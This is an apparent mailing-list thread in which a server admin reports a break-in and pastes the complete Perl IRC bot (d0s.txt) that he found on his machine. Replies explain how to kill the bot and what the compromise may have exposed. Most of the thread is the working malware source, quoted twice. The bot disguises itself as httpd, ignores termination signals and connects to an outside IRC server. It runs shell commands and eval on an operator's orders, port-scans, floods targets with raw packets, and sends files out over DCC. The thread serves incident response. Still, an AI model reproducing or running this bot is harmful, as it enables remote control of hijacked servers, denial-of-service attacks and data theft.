Apache hacks (./atac, d0s.txt)

[Andrew Y Ng]

--PNTmBPCT7hxwcZjr
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

My server has been seeing some usual activities today, I don't have much ti=
me
to get down to the bottom of things, but after I investigated briefly I have
decided to disable PERL executable permission for www-data (Apache process's
user), also locked /var/tmp so www-data cannot write to it.=20

Looks like it ignores all the `kill` signals, not sure how I can actually
kill it...


I found the included script in /var/tmp called d0s.txt.

I found a bunch of processes called ./atac 20 running, and found the
following content in /tmp/atac:

http://andrewng.com/tmp/atac.tbz

here's d0s.txt:

#!/usr/bin/perl
################ CONFIGURACAO #############################################=
####################
my $processo =3D '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo q=
ue vai aparece no ps #
#----------------------------------------------############################=
####################
my $MODOME=3D'+pi'; # Modo Do Bot =
# =20
#----------------------------------------------############################=
####################
my $linas_max=3D'10'; # Evita o flood depois =
de X linhas #
#----------------------------------------------############################=
####################
my $sleep=3D'3'; # ele dorme X segundos =
#
##################### IRC #################################################=
####################
my @adms=3D("DDOS"); # Nick do administrador =
#
#----------------------------------------------############################=
####################
my @canais=3D("#bots ddos");# Canais #
#----------------------------------------------############################=
####################
my $nick=3D'b0t'; # Nick do bot. Caso esteja em u=
so vai aparecer #
# # aparecer com numero radona=
mico no final #
#----------------------------------------------############################=
####################
my $ircname =3D 'b0t'; # User ID =
#
#----------------------------------------------############################=
####################
my $realname =3D '=02=034A=02dmin=0314: =034=02=1F#=02=1FD=02D=02OS=0F=0F';=
#
#----------------------------------------------############################=
####################
$servidor=3D'irc.gigachat.net' unless $servidor; # Servidor de irc que vai =
ser usado #
# # caso n=E3o seja especifica=
do no argumento #
#----------------------------------------------############################=
####################
my $porta=3D'6667'; # Porta do servidor de irc =
#
################ ACESSO A SHELL ###########################################=
####################
my $secv =3D 1; # 1/0 pra habilita/desabilit=
a acesso a shell #
################################################## #########################=
####################

my $VERSAO =3D '1.0';

$SIG{'INT'} =3D 'IGNORE';
$SIG{'HUP'} =3D 'IGNORE';
$SIG{'TERM'} =3D 'IGNORE';
$SIG{'CHLD'} =3D 'IGNORE';
$SIG{'PS'} =3D 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor=3D"$ARGV[0]" if $ARGV[0];
$0=3D"$processo"."\0"x16;;
my $pid=3Dfork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);



our %irc_servers;
our %DCC;
my $dcc_sel =3D new IO::Select->new();


$sel_cliente =3D IO::Select->new();
sub sendraw {
if ($#_ =3D=3D '1') {
my $socket =3D $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}

sub conectar {
my $meunick =3D $_[0];
my $servidor_con =3D $_[1];
my $porta_con =3D $_[2];

my $IRC_socket =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>"$s=
ervidor_con", PeerPort=3D>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket =3D $IRC_socket;

$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);

$irc_servers{$IRC_cur_socket}{'host'} =3D "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} =3D "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} =3D $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realn=
ame");
sleep 1;
}

}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta")=
; }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready =3D $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket =3D $fh;
$meunick =3D $irc_servers{$IRC_cur_socket}{'nick'};
$nread =3D sysread($fh, $msg, 4096);
if ($nread =3D=3D 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines =3D split (/\n/, $msg);

for(my $c=3D0; $c<=3D $#lines; $c++) {
$line =3D $lines[$c];
$line=3D$line_temp.$line if ($line_temp);
$line_temp=3D'';
$line =3D~ s/\r$//;
unless ($c =3D=3D $#lines) {
parse("$line");
} else {
if ($#lines =3D=3D 0) {
parse("$line");
} elsif ($lines[$c] =3D~ /\r$/) {
parse("$line");
} elsif ($line =3D~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp =3D $line;
}
}
}
}
}


=20
sub parse {
my $servarg =3D shift;
if ($servarg =3D~ /^PING \.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =3D~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/) {
my $pn=3D$1; my $onde =3D $4; my $args =3D $5;
if ($args =3D~ /^\001VERSION\001$/) {
notice("$pn", "\001Bot powered by DDOS TEAM\001");
}
if (grep {$_ =3D~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =3D~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
my $natrix =3D $1;
my $arg =3D $2;
if ($arg =3D~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg=
=3D~ /^\!nick/);
} elsif ($arg =3D~ /^\@(.*)/) {
$ondep =3D $onde;
$ondep =3D $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}=20
}
} elsif ($servarg =3D~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=3D$4;=20
$irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
}
} elsif ($servarg =3D~ m/^\.+?)\s+433/i) {
nick("$meunick".int rand(9999));
} elsif ($servarg =3D~ m/^\.+?)\s+001\s+(\S+)\s/i) {
$meunick =3D $2;
$irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} =3D "$1";
foreach my $canal (@canais) {
print "$0 Executado \n";
sendraw("JOIN $canal");
sendraw("MODE $meunick $MODOME");
sendraw("PRIVMSG $canal :Modo Alterado Para=034 $MODOME");
}
}
}

sub bfunc {
my $printl =3D $_[0];
my $funcarg =3D $_[1];
if (my $pid =3D fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =3D~ /^portscan (.*)/) {
my $hostip=3D"$1";
my @portas=3D("21","22","23","25","53","80","110","14 3");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock =3D IO::Socket::INET->new(PeerAddr =3D> $hosti=
p, PeerPort =3D> $porta, Proto =3D> 'tcp', Timeout =3D> 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}

if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl ortas abertas: @=
aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta ab=
erta foi encontrada");=20
}
}
if ($funcarg =3D~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my ($dtime, %pacotes) =3D attacker("$1", "$2", "$3");
$dtime =3D 1 if $dtime =3D=3D 0;
my %bytes;
$bytes{igmp} =3D $2 * $pacotes{igmp};
$bytes{icmp} =3D $2 * $pacotes{icmp};
$bytes{o} =3D $2 * $pacotes{o};
$bytes{udp} =3D $2 * $pacotes{udp};
$bytes{tcp} =3D $2 * $pacotes{tcp};
=20
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dti=
me"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M=E9dia de envi=
o\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dt=
ime)." kbps");


}
exit;
}
}
}
=20
sub ircase {
my ($kem, $printl, $case) =3D @_;

if ($case =3D~ /^join (.*)/) {
j("$1");
}=20
if ($case =3D~ /^part (.*)/) {
p("$1");
}
if ($case =3D~ /^rejoin\s+(.*)/) {
my $chan =3D $1;
if ($chan =3D~ /^(\d+) (.*)/) {
for (my $ca =3D 1; $ca <=3D $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =3D~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg =3D substr($case, 3);
op("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg =3D substr($case, 5);
deop("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg =3D substr($case, 6);
voice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg =3D substr($case, 8);
devoice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
}
if ($case =3D~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =3D~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf =3D 1; $cf <=3D $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =3D~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =3D~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf =3D 1; $cf <=3D $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =3D~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
if ($case =3D~ /^nick (.*)/) {
nick("$1");
}
if ($case =3D~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =3D~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
if ($case =3D~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =3D~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
return unless $secv;
my $printl=3D$_[0];
my $comando=3D$_[1];
if ($comando =3D~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diert=F3rio inexistente!");
return;
}=20
elsif ($pid =3D fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=3D`$comando 2>&1 3>&1`;
my $c=3D0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c =3D=3D "$linas_max") {
$c=3D0;
sleep $sleep;
}
}
exit;
}
}
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my $iaddr =3D inet_aton($_[0]);
my $msg =3D 'B' x $_[1];
my $ftime =3D $_[2];
my $cp =3D 0;
my (%pacotes);
$pacotes{icmp} =3D $pacotes{igmp} =3D $pacotes{udp} =3D $pacotes{o} =3D $=
pacotes{tcp} =3D 0;
=20
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp =3D=3D 4;
my $itime =3D time;
my ($cur_time);
while ( 1 ) {
for (my $porta =3D 1; $porta <=3D 65000; $porta++) {
$cur_time =3D time - $itime;
last if $cur_time >=3D $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}=
++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}+=
+;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}=
++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}+=
+;

# DoS ?? :P
for (my $pc =3D 3; $pc <=3D 255;$pc++) {
next if $pc =3D=3D 6;
$cur_time =3D time - $itime;
last if $cur_time >=3D $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}+=
+;;
}
}
last if $cur_time >=3D $ftime;
}
return($cur_time, %pacotes);
}



#############
# ALIASES #
#############

sub action {
return unless $#_ =3D=3D 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
return unless $#_ =3D=3D 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ =3D=3D 1;
sendraw("PRIVMSG $_[0] :$_[1]");
} =20

sub notice {
return unless $#_ =3D=3D 1;
sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ =3D=3D 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ =3D=3D 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
return unless $#_ =3D=3D 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
return unless $#_ =3D=3D 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
return unless $#_ =3D=3D 0;
sendraw("NICK $_[0]");
}

sub invite {
return unless $#_ =3D=3D 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ =3D=3D 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
return unless $#_ =3D=3D 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ =3D=3D 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ =3D=3D 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
}



# DCC
package DCC;

sub connections {
my @ready =3D $dcc_sel->can_read(1);
# return unless (@ready);
foreach my $fh (@ready) {
my $dcctipo =3D $DCC{$fh}{tipo};
my $arquivo =3D $DCC{$fh}{arquivo};
my $bytes =3D $DCC{$fh}{bytes};
my $cur_byte =3D $DCC{$fh}{curbyte};
my $nick =3D $DCC{$fh}{nick};

my $msg;
my $nread =3D sysread($fh, $msg, 10240);

if ($nread =3D=3D 0 and $dcctipo =3D~ /^(get|sendcon)$/) {
$DCC{$fh}{status} =3D "Cancelado";
$DCC{$fh}{ftime} =3D time;
$dcc_sel->remove($fh);
$fh->close;
next;
}

if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} +=3D length($msg);

my $cur_byte =3D $DCC{$fh}{curbyte};

open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <=3D $bytes);
close(FILE);

my $packbyte =3D pack("N", $cur_byte);
print $fh "$packbyte";

if ($bytes =3D=3D $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} =3D "Recebido";
$DCC{$fh}{ftime} =3D time;
next;
}
} elsif ($dcctipo eq "send") {
my $send =3D $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} =3D 'sendcon';
$DCC{$send}{itime} =3D time;
$DCC{$send}{nick} =3D $nick;
$DCC{$send}{bytes} =3D $bytes;
$DCC{$send}{curbyte} =3D 0;
$DCC{$send}{arquivo} =3D $arquivo;
$DCC{$send}{ip} =3D $send->peerhost;
$DCC{$send}{porta} =3D $send->peerport;
$DCC{$send}{status} =3D "Enviando";

#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com=
o sendcon
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended =3D unpack("N", $msg);
$DCC{$fh}{curbyte} =3D $bytes_sended;
if ($bytes_sended =3D=3D $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} =3D "Enviado";
$DCC{$fh}{ftime} =3D time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}


sub SEND {
my ($nick, $arquivo) =3D @_;
unless (-r "$arquivo") {
return(0);
}
=20
my $dccark =3D $arquivo;
$dccark =3D~ s/[.*\/](\S+)/$1/;

my $meuip =3D $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
my $longip =3D unpack("N",inet_aton($meuip));

my @filestat =3D stat($arquivo);
my $size_total=3D$filestat[7];
if ($size_total =3D=3D 0) {
return(0);
}

my ($porta, $sendsock);
do {
$porta =3D int rand(64511);
$porta +=3D 1024;
$sendsock =3D IO::Socket::INET->new(Listen=3D>1, LocalPort =3D>$porta, =
Proto =3D> 'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;

$DCC{$sendsock}{tipo} =3D 'send';
$DCC{$sendsock}{nick} =3D $nick;
$DCC{$sendsock}{bytes} =3D $size_total;
$DCC{$sendsock}{arquivo} =3D $arquivo;


&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) =3D @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {=20
return(0);=20
}

my $dccip=3Dfixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$dccip,=
PeerPort=3D>$dccporta, Timeout=3D>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} =3D 'get';
$DCC{$dccsock}{itime} =3D time;
$DCC{$dccsock}{nick} =3D $nick;
$DCC{$dccsock}{bytes} =3D $bytes;
$DCC{$dccsock}{curbyte} =3D 0;
$DCC{$dccsock}{arquivo} =3D $arquivo;
$DCC{$dccsock}{ip} =3D $dccip;
$DCC{$dccsock}{porta} =3D $dccporta;
$DCC{$dccsock}{status} =3D "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de acord=
o com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my $socket =3D shift;
my $sock_tipo =3D $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick =3D $DCC{$socket}{nick};
my $arquivo =3D $DCC{$socket}{arquivo};
my $itime =3D $DCC{$socket}{itime};
my $ftime =3D time;
my $status =3D $DCC{$socket}{status};
$ftime =3D $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

my $d_time =3D $ftime-$itime;

my $cur_byte =3D $DCC{$socket}{curbyte};
my $bytes_total =3D $DCC{$socket}{bytes};

my $rate =3D 0;
$rate =3D ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen =3D ($cur_byte*100)/$bytes_total;

my ($r_duv, $p_duv);
if ($rate =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv =3D $3; $r_duv++ if $4 >=3D 5;
$rate =3D "$1\.$2"."$r_duv";
}
if ($porcen =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv =3D $3; $p_duv++ if $4 >=3D 5;
$porcen =3D "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo"," $bytes_total", "$cur_=
byte","$d_time", "$rate", "$porcen");
}


return(0);
}


sub fixaddr {
my ($address) =3D @_;

chomp $address; # just in case, sigh.
if ($address =3D~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =3D~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]=
?\d{1,2}$/) {
return $address;
} elsif ($address =3D~ tr/a-zA-Z//) { =20
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}

--=20
andrew y ng <ayn@andrewng.com> http://andrewng.com
principal, ayn & associates, llc, http://aynassociates.com


--PNTmBPCT7hxwcZjr
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFCcoUevtjogpv8WUwRAkH9AJ4sBNiPB39FPXWqFv4iUt Wkn3BG4gCdFfzG
rUhOVVLWdKJn3djBCUsI1nA=
=oy5w
-----END PGP SIGNATURE-----

--PNTmBPCT7hxwcZjr--

[Chris Umphress]

> Looks like it ignores all the `kill` signals, not sure how I can actually
> kill it...

SIGKILL (Signal 9) cannot be blocked, so try:

kill -s SIGKILL <pid>
-or-
killall -KILL atac


> my @canais=3D("#bots ddos");
> my $nick=3D'b0t';
> my $ircname =3D 'b0t';
> $servidor=3D'irc.gigachat.net' unless $servidor;

It's an IRC bot, should be obvious, but just commenting...


> $SIG{'INT'} =3D 'IGNORE';
> $SIG{'HUP'} =3D 'IGNORE';
> $SIG{'TERM'} =3D 'IGNORE';
> $SIG{'CHLD'} =3D 'IGNORE';
> $SIG{'PS'} =3D 'IGNORE';

Again, there is no way to block SIGKILL (signal 9) for any program


> # DCC
> package DCC;

This is where things get really scary for you. DCC is the ability to
send files over IRC. The bot could have sent almost anything (within
certain permission ranges, we hope). Now is a very good time to
disconnect the server from the internet if you have not already done
so.

> notice("$pn", "\001Bot powered by DDOS TEAM\001");

This line seems to indicate that this bot is only designed to be part
of a larger "bot-net" to DoS someone, but those DCC capabilities are
worrysome. So, in addition to investigating how this got into your
server, it would also be a good idea to check what might have gotten
out.

Good luck, and apologies if you already knew all of this.

--=20
Chris Umphress <http://daga.dyndns.org/>

[Sagiko]

hi,
This looks like an typical irc bot written in perl and installed on
the /tmp directory, (fyi http://www.honeynet.org/papers/bots/) if the
system is not critical machine, it is advicable to take it down and do
a full forensic checking. The typical hack proceedure is:

exploit existing vulnerable application (such apache) --> get a
non-privilege user --> install bot in /tmp or any world writeable and
executable --> using local exploits to escalate the rights --> get
superuser do whatever he wants (change binary, clean logs.. etc)

Therefore in your case , you need to find out what's the stage of the
compromise on your system and exactly which is the entry points (the
vulnerabiliy exploited).

regards,
Rick
=20





=20

On 4/30/05, Andrew Y Ng <ayn@andrewng.com> wrote:
> My server has been seeing some usual activities today, I don't have much =
time
> to get down to the bottom of things, but after I investigated briefly I h=
ave
> decided to disable PERL executable permission for www-data (Apache proces=
s's
> user), also locked /var/tmp so www-data cannot write to it.
>=20
> Looks like it ignores all the `kill` signals, not sure how I can actually
> kill it...
>=20
> I found the included script in /var/tmp called d0s.txt.
>=20
> I found a bunch of processes called ./atac 20 running, and found the
> following content in /tmp/atac:
>=20
> http://andrewng.com/tmp/atac.tbz
>=20
> here's d0s.txt:
>=20
> #!/usr/bin/perl
> ################ CONFIGURACAO ###########################################=
######################
> my $processo =3D '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo=
que vai aparece no ps #
> #----------------------------------------------##########################=
######################
> my $MODOME=3D'+pi'; # Modo Do Bot =
#
> #----------------------------------------------##########################=
######################
> my $linas_max=3D'10'; # Evita o flood depoi=
s de X linhas #
> #----------------------------------------------##########################=
######################
> my $sleep=3D'3'; # ele dorme X segundos =
#
> ##################### IRC ###############################################=
######################
> my @adms=3D("DDOS"); # Nick do administrador =
#
> #----------------------------------------------##########################=
######################
> my @canais=3D("#bots ddos");# Canais =
#
> #----------------------------------------------##########################=
######################
> my $nick=3D'b0t'; # Nick do bot. Caso esteja em=
uso vai aparecer #
> # # aparecer com numero rado=
namico no final #
> #----------------------------------------------##########################=
######################
> my $ircname =3D 'b0t'; # User ID =
#
> #----------------------------------------------##########################=
######################
> my $realname =3D '=02=034A=02dmin=0314: =034=02=1F#=02=1FD=02D=02OS=0F=0F=
'; #
> #----------------------------------------------##########################=
######################
> $servidor=3D'irc.gigachat.net' unless $servidor; # Servidor de irc que va=
i ser usado #
> # # caso n=E3o seja especifi=
cado no argumento #
> #----------------------------------------------##########################=
######################
> my $porta=3D'6667'; # Porta do servidor de i=
rc #
> ################ ACESSO A SHELL #########################################=
######################
> my $secv =3D 1; # 1/0 pra habilita/desab=
ilita acesso a shell #
> ################################################## #######################=
######################
>=20
> my $VERSAO =3D '1.0';
>=20
> $SIG{'INT'} =3D 'IGNORE';
> $SIG{'HUP'} =3D 'IGNORE';
> $SIG{'TERM'} =3D 'IGNORE';
> $SIG{'CHLD'} =3D 'IGNORE';
> $SIG{'PS'} =3D 'IGNORE';
>=20
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor=3D"$ARGV[0]" if $ARGV[0];
> $0=3D"$processo"."\0"x16;;
> my $pid=3Dfork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>=20
> our %irc_servers;
> our %DCC;
> my $dcc_sel =3D new IO::Select->new();
>=20
> $sel_cliente =3D IO::Select->new();
> sub sendraw {
> if ($#_ =3D=3D '1') {
> my $socket =3D $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
> }
>=20
> sub conectar {
> my $meunick =3D $_[0];
> my $servidor_con =3D $_[1];
> my $porta_con =3D $_[2];
>=20
> my $IRC_socket =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>"$=
servidor_con", PeerPort=3D>$porta_con) or return(1);
> if (defined($IRC_socket)) {
> $IRC_cur_socket =3D $IRC_socket;
>=20
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>=20
> $irc_servers{$IRC_cur_socket}{'host'} =3D "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} =3D "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} =3D $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$real=
name");
> sleep 1;
> }
>=20
> }
> my $line_temp;
> while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"=
); }
> delete($irc_servers{''}) if (defined($irc_servers{''}));
> &DCC::connections;
> my @ready =3D $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket =3D $fh;
> $meunick =3D $irc_servers{$IRC_cur_socket}{'nick'};
> $nread =3D sysread($fh, $msg, 4096);
> if ($nread =3D=3D 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines =3D split (/\n/, $msg);
>=20
> for(my $c=3D0; $c<=3D $#lines; $c++) {
> $line =3D $lines[$c];
> $line=3D$line_temp.$line if ($line_temp);
> $line_temp=3D'';
> $line =3D~ s/\r$//;
> unless ($c =3D=3D $#lines) {
> parse("$line");
> } else {
> if ($#lines =3D=3D 0) {
> parse("$line");
> } elsif ($lines[$c] =3D~ /\r$/) {
> parse("$line");
> } elsif ($line =3D~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp =3D $line;
> }
> }
> }
> }
> }
>=20
> sub parse {
> my $servarg =3D shift;
> if ($servarg =3D~ /^PING \.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =3D~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/) {
> my $pn=3D$1; my $onde =3D $4; my $args =3D $5;
> if ($args =3D~ /^\001VERSION\001$/) {
> notice("$pn", "\001Bot powered by DDOS TEAM\001");
> }
> if (grep {$_ =3D~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =3D~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
> my $natrix =3D $1;
> my $arg =3D $2;
> if ($arg =3D~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $ar=
g =3D~ /^\!nick/);
> } elsif ($arg =3D~ /^\@(.*)/) {
> $ondep =3D $onde;
> $ondep =3D $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> } elsif ($servarg =3D~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=3D$4;
> $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
> }
> } elsif ($servarg =3D~ m/^\.+?)\s+433/i) {
> nick("$meunick".int rand(9999));
> } elsif ($servarg =3D~ m/^\.+?)\s+001\s+(\S+)\s/i) {
> $meunick =3D $2;
> $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} =3D "$1";
> foreach my $canal (@canais) {
> print "$0 Executado \n";
> sendraw("JOIN $canal");
> sendraw("MODE $meunick $MODOME");
> sendraw("PRIVMSG $canal :Modo Alterado Para=034 $MODOME");
> }
> }
> }
>=20
> sub bfunc {
> my $printl =3D $_[0];
> my $funcarg =3D $_[1];
> if (my $pid =3D fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =3D~ /^portscan (.*)/) {
